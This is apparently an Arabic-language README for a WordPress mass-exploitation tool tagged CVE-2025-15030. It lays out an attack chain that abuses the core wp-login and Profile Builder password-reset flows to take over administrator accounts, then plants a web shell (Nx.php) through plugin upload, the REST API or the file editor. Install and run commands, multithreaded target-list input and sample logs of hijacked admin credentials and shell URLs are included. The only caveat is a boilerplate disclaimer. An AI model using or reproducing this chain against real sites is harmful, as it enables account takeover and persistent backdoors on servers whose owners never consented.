____  _     _____      ____  ____  ____  ____        _  ____  ____ _____  ____
/   _\/ \ |\/  __/     /_   \/  _ \/_   \/ ___\      / \/ ___\/  _ \\__  \/  _ \
|  /  | | //|  \ _____  /   /| / \| /   /|    \_____ | ||    \| / \|  /  || / \|
|  \__| \// |  /_\____\/   /_| \_/|/   /_\___ |\____\| |\___ || \_/| _\  || \_/|
\____/\__/  \____\     \____/\____/\____/\____/      \_/\____/\____//____/\____/

┌────────────────────────────────────────────────────────────────────┐
│  السلسلة 1 · النواة  (استغلال إعادة التعيين الأصلي لـ wp-login)    │
│                                                                    │
│  POST /wp-login.php?action=lostpassword  (تشغيل إعادة التعيين)    │
│  GET  /wp-login.php?action=rp&key=...    (متابعة رابط إعادة التعيين) │
│  POST /wp-login.php?action=resetpass     (حقن كلمة مرور جديدة)    │
│  تعداد أسماء المستخدمين  →  محاولة تسجيل دخول صارمة  →  تحقق من /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│  السلسلة 2 · PB  (إعادة تعيين Profile Builder من الرابط)          │
│                                                                    │
│  تحميل روابط إعادة التعيين من pb_reset_links.txt                  │
│  GET  <reset_url>  →  استخراج nonce + userData                    │
│  POST action2=recover_password2  →  تعيين كلمة مرور جديدة        │
│  تسجيل دخول صارم  →  تحقق من الوصول إلى /wp-admin/                │
├────────────────────────────────────────────────────────────────────┤
│  رفع الشيل  (يعمل بعد أي إصابة مؤكدة للمسؤول)                     │
│                                                                    │
│  الطريقة 1  →  رفع عبر plugin-install.php  (Nxploited.zip)        │
│  الطريقة 2  →  REST API  /wp-json/wp/v2/plugins                    │
│  الطريقة 3  →  محرر الإضافة/القالب  (كتابة Nx.php مباشرة)        │
│  التحقق    →  GET /wp-content/plugins/Nxploited/Nx.php            │
│  التسجيل   →  scan_results/shells.txt                             │
└────────────────────────────────────────────────────────────────────┘

git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0

python3 CVE-2025-15030.py

ملف قائمة الأهداف (رابط واحد لكل سطر):            list.txt
الخيوط (المواقع المتزامنة) [5]:                  5
مهلة HTTP (ثوانٍ) [10]:                          10
ملف الإخراج لنجاحات إعادة تعيين wp-login الأساسية:   scan_results/wp_login_reset_success.txt
ملف الإخراج لشيلات Nxploited:                     scan_results/shells.txt
ملف روابط إعادة تعيين Profile Builder (اختياري):   pb_reset_links.txt

https://target1.com
target2.com
http://target3.com/wordpress

https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor

/wp-admin/index.php       →  id="adminmenu", id="wpadminbar"
/wp-admin/users.php       →  مؤشر users.php
/wp-admin/plugins.php     →  مؤشر plugins.php
/wp-admin/plugin-install.php  →  upload-plugin, plugin-install-tab

[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin  pass=Nxploited_adminSA

[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php

[host]  https://target.com
CORE: KEY=OK  , RESET=OK  , ACCESS=1   |
PB:   KEY=FAIL, RESET=FAIL, ACCESS=0   |
SHELL: OK       | LOGIN: https://target.com/wp-login.php

Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

لأغراض البحث الأمني المصرح به والتعليم فقط.

لا يتحمل المؤلف أي مسؤولية عن أي استخدام لهذه الأداة
ضد أنظمة لا يملكها المشغل أو ليس لديه إذن كتابي صريح لاختبارها.

الاستخدام غير المصرح به ينتهك قانون CFAA و CMA والقوانين المماثلة
في جميع أنحاء العالم وقد يؤدي إلى ملاحقة جنائية.

أنت وحدك المسؤول عن أفعالك.